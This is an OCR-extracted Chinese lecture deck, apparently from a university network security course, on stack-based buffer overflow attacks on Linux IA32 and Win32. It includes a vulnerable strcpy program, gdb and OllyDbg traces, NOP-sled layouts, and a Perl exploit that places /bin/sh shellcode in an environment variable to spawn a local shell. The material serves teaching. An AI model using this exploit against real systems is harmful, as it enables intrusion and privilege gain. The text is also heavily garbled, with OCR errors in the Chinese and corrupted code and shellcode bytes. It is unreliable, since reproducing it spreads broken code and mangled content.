IT計(jì)算機(jī) 網(wǎng)絡(luò)安全第5章錦援沖區(qū)溢出攻擊_第1頁
IT計(jì)算機(jī) 網(wǎng)絡(luò)安全第5章錦援沖區(qū)溢出攻擊_第2頁
IT計(jì)算機(jī) 網(wǎng)絡(luò)安全第5章錦援沖區(qū)溢出攻擊_第3頁
IT計(jì)算機(jī) 網(wǎng)絡(luò)安全第5章錦援沖區(qū)溢出攻擊_第4頁
IT計(jì)算機(jī) 網(wǎng)絡(luò)安全第5章錦援沖區(qū)溢出攻擊_第5頁
已閱讀5頁,還剩61頁未讀, 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報(bào)或認(rèn)領(lǐng)

文檔簡介

網(wǎng)絡(luò)要公

(CS05154)

第5錦援沖區(qū)溢出攻擊

中國科考技木大學(xué)曾思華

次要均容

■緩沖區(qū)溢出歷史

1.Linuxx86平臺緩沖區(qū)溢出利用技術(shù)

1.Linux的內(nèi)存管理

2.緩沖區(qū)溢出的流程

3.緩沖區(qū)溢出的攻擊技術(shù)

2.Win32平臺緩沖區(qū)溢出利用技術(shù)

Win32平臺緩沖區(qū)溢出的流程

2.跳轉(zhuǎn)地址

3.遠(yuǎn)程緩沖區(qū)溢出演示

(參考《網(wǎng)絡(luò)滲透技術(shù)》)

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊2

57接沖日溢出歷史

■早在20世紀(jì)80年代初,國外就有人開始討

論溢出攻擊。

■1988年徜Morris蠕蟲,利用的攻擊方法之一

就是fingerd的緩沖區(qū)溢出,雖然這次蠕蟲

事件導(dǎo)致6000多臺機(jī)器被感染,損失在

$100000(十萬)至$10000000(一千萬)之

間,但是想沖區(qū)溢出問敢畀沒市得到人們

的重視。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊3

溢出歷史2

■1989年,SpaGord提交了一份關(guān)于運(yùn)行在VAX

機(jī)上的BSD版UNIX的fingerd的緩沖區(qū)溢出程

序的技術(shù)細(xì)節(jié)的分析報(bào)告,從而引起了一部分

安全人士對這個(gè)研究領(lǐng)域的重視。但畢竟僅有

少數(shù)人從事研究工作,對于公眾而言,沒有太

多具有學(xué)術(shù)價(jià)值的可用資料。另處來自

LophtheavyIndustries的Mudge寫了——篇如

何利用BSDI上的libc/syslog緩沖區(qū)溢出漏洞的

文章。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊4

溢出歷史3

■然而真正有教育意義的第一篇文章誕或點(diǎn)

1996耳,A/ejM0〃e在P/zracZ盛志第49期農(nóng)

表的裕次伸佃描述了L加戊系疣中枝的秸構(gòu)

和電何利用基于棧的穗沖區(qū)溢出。Aleph

One的質(zhì)獻(xiàn)迷忘才給出了電何與執(zhí)行一個(gè)

Shell的Exploit的方法,棄給這段代媽賦予

迦的名稱。這個(gè)稱呼沿用至今。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊5

演出歷史4

■<Shellcode,編譯一段使用系統(tǒng)調(diào)用

的簡單的C程序,遍過調(diào)曲器柚取匯編代

巡,并根據(jù)需要修改這段匯編代碼。

■AlephOne所給出的代碼可以在

x86/Linux,Sparc/Solaris和

Sparc/SunOS系統(tǒng)上正確地運(yùn)行。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊6

溢出歷史5

■受到AlephOne的文章的啟發(fā),在Internet

上出現(xiàn)了大量的文章講述如何利用緩沖區(qū)

溢出,以及如何寫一段所需的Exploit。

■1997年,Smith除合。瑞的文章,梃供了

電何點(diǎn)各種UNIX變種中與穗沖區(qū)溢出

Exploit更存佃的猾導(dǎo)原則。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊7

溢出歷史6

■Smith還收集了各種處理器體系結(jié)構(gòu)下的

SheUcode,包括AlephOne公布的和AIX和

HPUX的。他在文章中還談到了粗ix操作系

統(tǒng)的一些安全屬性,例如,SUID程序、

Linux棧結(jié)構(gòu)和功能等,并對安全編程進(jìn)行

了討論,還附帶了一些有問題的函數(shù)的列

表,并告訴人們?nèi)绾斡靡恍┫鄬Ω踩?/p>

代碼(包裹函數(shù))替代它們。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊8

溢出歷史7

Windows下的地址能造

■1998年來自“CultoftheDeadCow”的Dildog,

在Bugtrq郵件列表中以MicrosoftNetmeeting為例

子,詳細(xì)地介紹了如何利用Windows的溢出技術(shù)。

這篇文章最大的貢獻(xiàn)在于提出了利用棧媚針的方

法來完周能搭,返回地址固定地指向地址,不論

是在出問題的程序中還是在動(dòng)態(tài)鏈接庫中,該固

定地址包含了用來紂8里強(qiáng)省宣醫(yī)<轉(zhuǎn)的匯編指

令。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊9

溢出歷史8

使用系瘍核芯DLL中的能令來競感按制

■Dildog提供的方法避免了由于進(jìn)程線程的區(qū)

別而造成廢位置不固定。Dildog還有另夕卜一

篇經(jīng)典之作TheTaoofWindowsBuffer

Overflows。

■集大成者是DarkSpyrit,在1999年雜志第

55期上提出使用系統(tǒng)核心DLL中的指令來完

成控制的想法,將Windows下的溢出

Exploit推進(jìn)了實(shí)質(zhì)性的一步。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊10

淡出歷史9

■DavidLitchfield在1999年為WindowsNT平

臺創(chuàng)建了一個(gè)簡單的Shellcode。他詳細(xì)討

論了WindowsNT的進(jìn)程內(nèi)存和棧結(jié)構(gòu),以

及基于棧的緩沖區(qū)溢出,并以rasman.exe

作為研究的實(shí)例,給出了提升權(quán)限創(chuàng)建一

個(gè)本地Shell的匯編代碼。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊11

演出歷史10

基于難的援沖區(qū)溢出

■1999年wOOwOO安全小組的MattConover寫了基

于堆的緩沖區(qū)溢出的教程,開頭寫道:“基于

Heap/BSS的溢出在當(dāng)今的應(yīng)用程序中已經(jīng)相當(dāng)

普遍,但很少有被報(bào)道”。他注意到當(dāng)時(shí)的保護(hù)

方法,例如非執(zhí)行棧,不能防止基于堆的溢出,

并給出了大量的例子。

■緩沖區(qū)溢出攻擊技術(shù)已經(jīng)相當(dāng)成熟,是滲透測試

者主要的技術(shù)手段。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊12

5.2Linuxx86年臺

住沖區(qū)溢出利用技木

■1996年,AlephOne在Phrack雜志第49期

發(fā)表的“SmashingtheStackforFunand

Profit"是緩沖區(qū)溢出的經(jīng)典之作,第一次

有人這么詳細(xì)地介紹了緩沖區(qū)溢出產(chǎn)生的

原理和利用方法。

■這一節(jié)主要介紹Linux操作系統(tǒng)基于Intel

x86CPU的溢出技術(shù)。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊13

5.2.1Linux的的商管理

■x86是一款CISC(復(fù)雜指令集計(jì)算)芯片,由

于Intel的成功運(yùn)作,它成為當(dāng)今使用最廣泛

的CPU。

■32位的*86稱為1人32。LinuxIA32系統(tǒng)的進(jìn)

程在內(nèi)存中的結(jié)構(gòu)如下圖所示。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊14

programpath程序路徑

Oxbfffffff(高地址)

envstrings環(huán)境變量字串

其他參數(shù)的棧幀

main函數(shù)的棧幀1

被調(diào)用函數(shù)的棧幀J

個(gè)

堆(heap)

1

Uninitialised.bss

Initialised.data

main()

.text

其它函數(shù)

共享庫接口(低地址)

圖1limixIA32進(jìn)程在內(nèi)存中的結(jié)構(gòu)

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊15

三種熬據(jù)段

■有三種數(shù)據(jù)段:.text、.bss、.datao

.text(文本區(qū)),任何嘗試對該區(qū)的寫操作會導(dǎo)致

段違法出錯(cuò)。文本區(qū)存放了程序的代碼,包括

main函數(shù)和其他子函數(shù)。

.bss和data都是可寫的。它們保存全局變

量,data段包含已初始化的靜態(tài)變量,而上ss包

含未初始化的數(shù)據(jù)。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊16

■堆棧是一個(gè)后進(jìn)先出(LIFO)數(shù)據(jù)結(jié)構(gòu),往低

地址增長,它保存本地變量、函數(shù)調(diào)用等信

息。

■隨著函數(shù)調(diào)用層數(shù)的增加,棧幀是一塊塊地

向內(nèi)存低地址方向延伸的,隨著進(jìn)程中函數(shù)

調(diào)用層數(shù)的減少,即各函數(shù)的返回,棧幀會

一塊塊地被遺棄而向內(nèi)存的高址方向回縮。

各函數(shù)的棧幀大小隨著函數(shù)的性質(zhì)的不同而

不等。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊17

■堆的數(shù)據(jù)結(jié)構(gòu)和棧不同,它是先進(jìn)先出

(FIFO)的數(shù)據(jù)結(jié)構(gòu),往高地址增長,豆要

用未保落福本信息和劭態(tài)合配的變量。

■堆是通過malloc和free等內(nèi)存操作函數(shù)分配

和釋放的。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊18

極植的信息

■函數(shù)調(diào)用時(shí)所建立的棧幀包含了下面的信

息:

①函數(shù)的返回地址。IA32的返回地址都是存放在

被調(diào)用函數(shù)的棧幀里。

②調(diào)用函數(shù)的棧幀信息,即棧頂和棧底。

③名孤照的扃部變■臺配的變間O

④為被調(diào)用函數(shù)的參數(shù)分配的空間。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊19

5.22接沖區(qū)溢出的流程

■由于函數(shù)里局部變量的內(nèi)存分配是發(fā)生在棧幀里

的,所以如果在某一個(gè)函數(shù)里定義了緩沖區(qū)變

量,則這個(gè)緩沖區(qū)變量所占用的內(nèi)存空間是在該

函數(shù)被調(diào)用時(shí)所建立的棧幀里。

■由于對緩沖區(qū)的潛在操作(比如字串的復(fù)制)都是

從內(nèi)腐低征割之恥的,而內(nèi)存中所保存的函數(shù)調(diào)

用返回地址往往就在該緩沖區(qū)的上方(高地址)一

—這是由于棧的特性決定的,這就為覆民履數(shù)的

返回也址提供了條件。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊20

溢出的流程(2)

■當(dāng)我們有機(jī)會用大于目標(biāo)緩沖區(qū)大小的內(nèi)容

來向緩沖區(qū)進(jìn)行填充時(shí),就可以改寫函數(shù)保

存在函數(shù)棧幀中的返回地址,從而使程序的

執(zhí)行流程隨著我們的意圖而轉(zhuǎn)移。這是

馮?諾依曼計(jì)算機(jī)體系結(jié)構(gòu)的缺陷。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊21

IA32構(gòu)架撥沖區(qū)溢出的實(shí)例

#include<stdio.h>

#include<string.h>

charlargebuff[]二

”1234512345123451234512345==ABCD”;

intmain(void)

(

charsmallbuff[16];

strcpy(smallbuf^largebuff);

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊22

張備福本Linux下的程本褊鐸

■注意:用不同版本的空c編譯,上面largebu仟需要

的長度可能會有所不同。這是因?yàn)樵趚86的CPU

上,新舊gcc在對齊處理上實(shí)現(xiàn)不同,現(xiàn)在版本的

菖c默認(rèn)媒持16字節(jié)棧對齊,而且堆棧的局部變

里的分配也是默認(rèn)以16字節(jié)對齊。如下的兩個(gè)

gcc編譯參數(shù)可以改變編譯器對堆棧的處理情況:

□-mprefered-stack-boundary=n希望棧按2的n次的字節(jié)邊界對齊

-fomit-frame-pointer編譯生成的代碼不要STP(棧框架)

■用標(biāo)準(zhǔn)參數(shù)編譯c程序

□gcc-osimple_overflowsimple_overflow.c

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊23

在gdb碉曲環(huán)境中㈱行程序

■$gdbsimple_overflow

■(gdb)r

□Startingprogram:

/home/zeng^p/ns/simple_overflow

□ProgramreceivedsignalSIGSEGV,

Segmentationfault

□0x44434241in??()

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊24

發(fā)史段褶鎂時(shí)的寄卷器他

(gdb)ireg■在里的執(zhí)行結(jié)果是

eax0xbfffe620-1073748448gdb

ecx0xb7fb51ff-1208266241eip已經(jīng)被改為

edx0x80494411345178250x44434241,正好是

ebx0x42130a141108544020

esp0xbfffe6400xbfffe640ABCD倒過來,這是由

ebp0x3d3d3d350x3d3d3d35于IA32默認(rèn)字節(jié)序

esi0x400153601073828704

edi0x8048380134513536little_endiano

eip0x444342410x44434241■接下來用gdb反匯編跟

eflags0x2102822163330蹤程用,看看eip為仆

cs0x2335

ss0x2b43么會變?yōu)?。X44434241。

ds0x2b43

es0x2b43

fs0x00

gs0x3351

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊25

友匯編:晶版main

■(gdb)disasmain■0x08048340<main+24>:lea

■Dumpofassemblercodeforfunctionmain:0xffiffife8(%ebp),%eax

■0x08048328<main+0>:push%ebp■0x08048343<main+27>:push

■0x08048329<main+l>:mov%eax

%esp,%ebp■0x08048344<main+28>:call

■0x0804832b<main+3>:sub$0x18,%esp0x8048268<strcpy>

■0x0804832e<main+6>:and■0x08048349<main+33>:add

$0xfiffiffi),%esp$0x10,%esp

■0x08048331<main+9>:mov$0x0,%eax■0x0804834c<main+36>:leave

■0x08048336<main+14>:sub%eax,%esp■0x0804834d<main+37>:ret

■0x08048338<main+16>:sub$0x8,%esp■0x0804834e<main+38>:nop

■0x0804833b<main+19>:push■0x0804834f<main+39>:nop

$0x8049420■Endofassemblerdump.

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊26

微置斷點(diǎn)

執(zhí)行程星,左看執(zhí)行后的寄花器的他

■在簡微的人口和感興垂的假置被置斷點(diǎn)。

■(gdb)b*(main+O)〃森i簡微的人口不斷點(diǎn)

Breakpoint1at0x8048328

■(gdb)b*(main+28)〃森strcpy西數(shù)不斷點(diǎn)

Breakpoint2at0x8048344

■(gdb)r

Startingprogram:

/home/fpzeng/npt/ch02/2x2/simple_overflow

■Breakpoint1,0x08048328inmain()

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊27

(gdb)ireg

eax0x11

ecx0x420155541107383636

edx0x40016bc81073834952

ebx0x42130al41108544020

espOxbffiff63cOxbfflff63c

ebpOxbfffi658Oxbfiffi658

esi0x400153601073828704

edi0x8048380134513536

eip0x80483280x8048328

eflags0x2002462097734

灌意:寄卷器的值成系疣的運(yùn)行技態(tài)而陪帝系同

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊28

西何重看main落劇的返命池征?

(gdb)x/x$esp

Oxbffff63c:0x42015574(main函數(shù)的返回地址)

(gdb)x/2i0x42015574-3

0x42015571:caU刃x8(%ebp)

0x42015574:mov%eax,%ecx

(gdb)x/x$ebp+8

0xbffiff660:0x08048328(main函數(shù)的第1條語句)

■可以看到,在main函數(shù)的最開始設(shè)置斷點(diǎn)執(zhí)行后的esp指

向的內(nèi)容就是main函數(shù)的返回地址。我們的目標(biāo)就是覆蓋

這個(gè)地址,這樣在main函數(shù)返回的時(shí)候轉(zhuǎn)入我們的流程。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊29

gdb里單步猾令執(zhí)行,看福本的執(zhí)行流程

■(gdb)display/i$pc

■1:x/i$pc0x8048328<main>:

push%ebp■(gdb)

■(gdb)si■0x08048336inmain()

■0x08048329inmain()■1:x/i$pc0x8048336<main+14>:

sub%eax,%esp

■1:x/i$pc0x8048329<main+l>:

mov%esp,%ebp■(gdb)

■(gdb)■0x08048338inmain()

■0x0804832binmain()■1:x/i$pc0x8048338<main+16>:

sub$0x8,%esp

■1:x/i$pc0x804832b<main+3>:

sub$0x18,%esp■(gdb)

■(gdb)■0x0804833binmain()

■0x0804832einmain()■1:x/i$pc0x804833b<main+19>:

push$0x8049420

■1:x/i$pc0x804832e<main+6>:

and$OxfffiffflO,%esp■(gdb)

■(gdb)

■0x08048331inmain()

■1:x/i$pc0x8048331<main+9>:

mov$OxO,%eax

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊30

gcc默欣保持16室節(jié)核對齊

■gcc在編譯程序的時(shí)候,分配了0x18+0x8的空

間,這遠(yuǎn)遠(yuǎn)大于smallbufl^量16字節(jié)的大小。這

個(gè)前面已經(jīng)討論過了,是gcc默認(rèn)保持16字節(jié)棧

對齊導(dǎo)致的。

■(gdb)si

■0x08048340inmain():leaOxffifflfe8(%ebp),%eax

■(gdb)

■0x08048343inmain():push%eax

■(gdb)

■0x08048344inmain():call0x8048268<strcpy>

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊31

t看strcpy的參版

■繼續(xù)單步指令執(zhí)行,“call0x804834c”指令實(shí)

際就是調(diào)用strcpy函數(shù),看看它push的兩個(gè)參數(shù):

□(gdb)iregesp

□esp0xbfffl2900xbfflG90

□(gdb)x/x0xbffif290

□0xbffffi290:0xbffif2a0(smallbu任的地址)

□(gdb)x/x0xbffffi290+4

□0xbffffi294:0x08049420(largebufffl勺地址)

□(gdb)x/s0x08049420

□0x8049420<largebuff>:"1234512345123451234512345==ABCD"

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊32

實(shí)際演示

■壓棧的第一個(gè)參數(shù)是largebuff的地址,第二個(gè)是

smallbu任的地址,gcc給它分配的大小是

0xbffif2bc-0xbfffiQa0=0xlc,所以需要28個(gè)字節(jié)

才能正好覆蓋返回地址。

■執(zhí)行strcpy后,Oxb冊2bc已經(jīng)被覆蓋成

0x44434241。

■繼續(xù)執(zhí)行單卡指令到main的數(shù)返回,最后的ret指

令讓eip等于esp指向的內(nèi)容,并且esp等于esp+4。

■這時(shí)已經(jīng)變?yōu)榭梢钥刂频牡刂妨?,也就是說我

們前以拴制程序的流誣o

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊33

碉曲變點(diǎn)

■在3個(gè)地方設(shè)置斷點(diǎn)

1.第一條匯編語句:在此記下函數(shù)的返回地址

(A=esp的值)(會劭態(tài)變4口

2,調(diào)用strcpy對應(yīng)的匯編語句:記下smallbuf的起

始地址二B(會劭態(tài)變化八與A相減可以得到產(chǎn)生

緩沖區(qū)溢出所需的字節(jié)數(shù)二A-B

3.ret語句:查看esp的內(nèi)容,被修改的返回地址

(演東)

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊34

5.2.3接沖區(qū)溢出的攻擊技術(shù)

低地址

ebp高地址

esp

buffer返回地址上個(gè)函數(shù)的棧

NOPNOP……ShellCodeRET-?????RET

攻擊串之1

■緩沖區(qū)溢出的基本原理是在函數(shù)返回的時(shí)候控制eip,從

而執(zhí)行Shellcode,達(dá)到攻擊的目的。

■上面這種方法一般用于被溢出的緩沖區(qū)比較大,足以容納

Shellcode。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊35

.一

構(gòu)造攻擊率2

低地址

ebp高地址

esp

buffer返回地址上個(gè)函數(shù)的棧

RET-…RETNOPNOPShellCode

攻擊串之2

■上面這種方法一般用于被溢出的變量比較小,不足以容納

shellcodeo

■但是這兩種方法shellcode的地址都沒法準(zhǔn)確的定位,傳

統(tǒng)的方法是通過調(diào)試技術(shù)獲得esp的值大概取值范圍,然

后加上偏移和在Shellcode前面加上大量nop指令(0x90)

來確保返回地址落入shellcode。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊36

■構(gòu)造攻擊率之3

杷shellcode改在環(huán)境變量里

■對于本地溢出,還有一種更好的辦法低地址(堆棧增長方向)

可以更精確定位shellcode地址。

■這種方法把shellcode放在環(huán)境變量里:堆棧數(shù)據(jù)

其他參數(shù)的棧幀E

低地址S

ebp高地址

esp環(huán)境變量P

buffer返回地址函數(shù)的棧…環(huán)境變量

程序路徑

RET……RETShellCodeOxbffffffc—?

卜0x00000000

OxcOOOOOOO―?

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊37

演示;環(huán)燒變量在堆棧中的住置

■gdbsimple_overflow頂位置

■b*(main)」/一

■x/20xOxbffiffifcZ

■Oxbfffiffifc:OxOOOOOOOOCannotaccessmemoryatOxcOOOOOOO

■x/20sOxb哪00(探測環(huán)境變量的起始

位置)

□由此可見,Linux系統(tǒng)的環(huán)境變量占的空間是很

大的,一般在1K以上,足于容納shellcode。

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊38

杷shellcode數(shù)在環(huán)境變量

確定返?池征

■用Oxbffiffifc減去程序路徑#include<stdio.h>

長度和后面的結(jié)束符0以#include<string.h>

及shellcode長度和后面的intmain(intargc,char

結(jié)束符0就可以精確得到*argvQ)

shellcode開始的地址。

■關(guān)鍵在于把shellcode放charvutabuff[16];

到環(huán)境變量中。strcpy(vuInbuff,argv[l]);

■有了這些信息,那么就很printf("\n%s\nn,vuInbuff);

容易寫出緩沖區(qū)溢出漏洞

getcharQ;/*fbrdebug*1

的攻擊方法,比如一個(gè)漏

洞程序如下:

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊39

#!/usr/bin/perl

##《網(wǎng)絡(luò)滲透技術(shù)》演示程序

#作者:san,alert7,eyas,watercloud

$shellcode=

n\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2^x2^x62\x69n.

n\x89\xe3\x52\x53\x89\xel\x8d\x42\x0b\xcd\x80n;

#修改以下代碼行

$path="/home/zeng^p/ns/vulnerablen;

$ret=Oxbfiffflfc-(length($path)+l)-

(length($shellcode)+1);

$new_retword=pack(T,$ret);

printf(H[+]UsingretshellcodeOx%x\nn,$ret);

%ENV=();$ENV{CC}=$sheUcode;

exec"$path”,$new_retwordx8;

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊40

獲得洋地shell

演示

■輸入perlexploit.pl

■則可以得到一個(gè)本地shell

sh-2.05b$

■在另一個(gè)terminal輸入

□psax|grepvulnerable

□gdbvulnerable11209(進(jìn)程ID號)

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊41

確定返?也恥的要直

■對于1、2兩種攻擊串,應(yīng)該在shellcode之

前加上大量的NOP,通過調(diào)試后猜測ret的

值。

■對于本地攻擊,將shellcode放在環(huán)境變量

中:

$ret=Oxbffffffc-(length($path)+l)

-(length($shellcode)+l);

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊42

5.3Win32平臺援沖區(qū)溪出利用技術(shù)

5.3.1Win32平臺緩沖區(qū)溢出#include<stdio.h>

的流程#include<string.h>

■同樣用上節(jié)Linux平臺用過charlargebuff[]=

的溢出演示程序:

M1234512345123456===

■編譯程序(VC6.0)=ABCDM;

□clsimple_overflow.cintmain(void)

■largebu任個(gè)字符串變量的

長度比Linux下的要短,這(

是因?yàn)閂C6編譯器并不像charsmallbuff[16];

現(xiàn)代版本的史c保持16字節(jié)strcpy(smallbuff,

棧對齊,而宴按照實(shí)際長largebuff);

度4字節(jié)對齊。}

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊43

用OHyDbg倜詼

simple_overflow

■在Win32平臺有很多優(yōu)秀的調(diào)試器,

OllyDbg簡單易用,強(qiáng)力推薦用它調(diào)試用戶

冬的程序,這里也用它進(jìn)行演示,如圖所

示(NextPPT)。

演示;實(shí)際操作

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊44

4

OllyDbg_5inple_o'rerflov.exe-[CPU-主線程.模塊-siaple.匯編窗口寄存器窗口

回文件理)查看⑦調(diào)試②插件也)選項(xiàng)建)窗口⑥幫助QPX

2]列X曰叫回二]凹臼TMljJTM-dWHid力打亞-jgz2nr

地址HEX數(shù)據(jù)I反匯虢注釋寄存器(MMX)7/<<<<

00401000fF-55PUSHEBPEAX00000000

004010018BECMOVEBP,ESPECX0012FFB0

0040100383EC10SUBESP.EBX7C95ED54ntdllyxt?mCallKet

004010066830504000PVSHsimpleo.00405030ASCII"123451234512345EBX7FPDFD00

0040100B8D45FOLEAEAX,DWOKDPTRSS[EBP-10]ESP0012FFC4

0040100E50PUSHEAXEBP0012FFF0

0040100FE80C000000CALLsimpleo.00401020ESI00000000

0040101483c408ADDESP,EDI00000000

004010178BE5MOVESP,EBP

EIF{00401110simple^,砥塊入口點(diǎn)〉

00如1019POPEBPCo

0040101AI§RETNP1ES002332倬0(JFFFFFFF)

AoCS001E32位0CFFFHFFF)

0040101CCCI11T3Z1SS002332位OlTFFFFFFF)

IXJ40101PCCIBT3SoDS002332位OfTFFFTFFF)

0040101ECCnrr3ToFS003B32位7FFDE000iFFF)

0040101FCC1NT3BoGS0000KIILL

00401020$57PUSHEDI___________Oo

004010218B7C2408MOVEDI,DWORDPTRSS:[ESP^6]LastErrERRDR.SUCCESS>00000000)

00401025yEB6AJMPSHORTsimple_。.00401091

EFL00000246QTO.HB.E.BE,WS,PE,GE.LE)

004010278DDE?si-

00401028A4DUA4MMO0000000000000000

0040102924DB24CHAR,$'MM10000000000000000

0040102A00DD00MM20000000000000000

0040102B00DB00MM30000000000000000

0040102C00DBuUMM40000000000000000

0040102D00DBMM50000000000000000

0040102E8BFFMOVEDI.EDI_____________MM60000000000000000

00401030r$8B4C2404MOVECX,DWORDPTRSS[ESP+4]MM70000000000000000

00401034.57PUSHEDI

00401035F7C103000000TESTECX,

0040103B.v74OF

0040103D>8A01堆棧窗口

0040103F41

ooqoioqo84co數(shù)據(jù)區(qū)窗口

本地調(diào)用來自G臭塊入口點(diǎn)X0AF

0012FFC4

0012FFC800000000

004050000000000000gOQOOjOO00g234000

0012FFCC00000000

00405010OU00000000000000g000000

0040502000000000000000GO1000000GO0012FFD07FFDF000

0040503031323334135313233134353132:3334353612345123451234560012FFD4822712廂

004050403D3D3D3D4!42434400oo00OOlOODO00GO==ABCD0012FFD80012FFC8

00ol:l00CO>OB0012FFDC00000000

004050507612400001000005000000vier.I..

00405060000000GOID0cl00C0104o00000100000000?.0012FFE0FFFFFFFFSEH璉尾部

00405070960000CO04000000000000OO58D0000CO?.??.0012FTO7C82B7D0SE處理程序

00405080080000GO,000000町8EooDO00GO0012FFE87C6123F0kem?1327C8123F0

00□??.

00405090ui.OCi00008Fm00CO0800000099ooi2mc00000000

oo一

OOIOSOAD90iji.00CO,080000,000000i9i00000012FFF000000000

,開始|GB四國函|命令提示符||]十OllyDbg-simple_ov...Q|D:\NsTest\chO2\2x3\.0您I9r00

女匯編代碼今折

■灰色選擇部分就是main函■00401000PUSHEBP

數(shù)的反匯編代碼。知Linux■00401001MOVEBP,ESP

下幾乎一樣,只是分配堆■00401003SUBESP,10

??臻g嚴(yán)格按照程序,不■00401006PUSH

像gcc會多分配幾個(gè)字節(jié),simple_o.00405030

但也會4字節(jié)對齊。;Ascn

■OllyDbg的左上部分是反匯nl234512345123456====ABCD”

編窗口,右上部分是寄存

器窗口,右下部分是堆棧■0040100BLEAEAX,DWORDPTR

窗口,左下部分是數(shù)據(jù)區(qū)SS:[EBP-10]

窗口,這個(gè)結(jié)讓人一目■0040100EPUSHEAX

了然,比起Linux/UNIX■0040100FCALL

下的gdb調(diào)試器直觀多了。simple_o.00401020;

■接下來了解一下Windows■00401014ADDESP,8

平臺下的溢出流程。把光■00401017MOVESP,EBP

標(biāo)放到執(zhí)行strcpy的那行:■00401019POPEBP

緩品鄭撇101ARETN

網(wǎng)絡(luò)安全(CS05154)46

看堆棧的變化

■然后按F4執(zhí)行到這里,這時(shí)堆棧內(nèi)容如下:

■0012FF680012FF70;smallbuf的地址

■0012FF6C00405030;largebuff&tl地址

ASCn"1234512345123456====ABCD"

■0012FF7040000061

■0012FF7400364988

■0012FF7800000000

■0012FF7C00401261返回至Usimple_o.00401261來自

simple_o.00401320

■0012FF800012FFC0

■0012FF84004011C4返回到simple_o.v模塊入口點(diǎn)>+0B4來自

simple_o.00401000

網(wǎng)絡(luò)安全(CS05154)緩沖區(qū)溢出攻擊47

strcpy后的致累

■按F8執(zhí)行strcpy操作,這時(shí)堆棧內(nèi)容內(nèi)容如卜:

■0012FF680012FF70ASCn"1234512345123456====ABCD"

■0012FF6C4)0405030ASCn"1234512345123456====ABCD"

■0012FF7。/34333231

0012FF7433323135

0012FF7832313534

0012FF7C36353433

0012FF803D3D3D3D

0012FF8444434241main。的返回地址被覆蓋

■寄存器ebp的內(nèi)容以及ebp+4保存的返回的地址都被覆蓋了。繼續(xù)按

F8單步執(zhí)行后面幾條指令

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論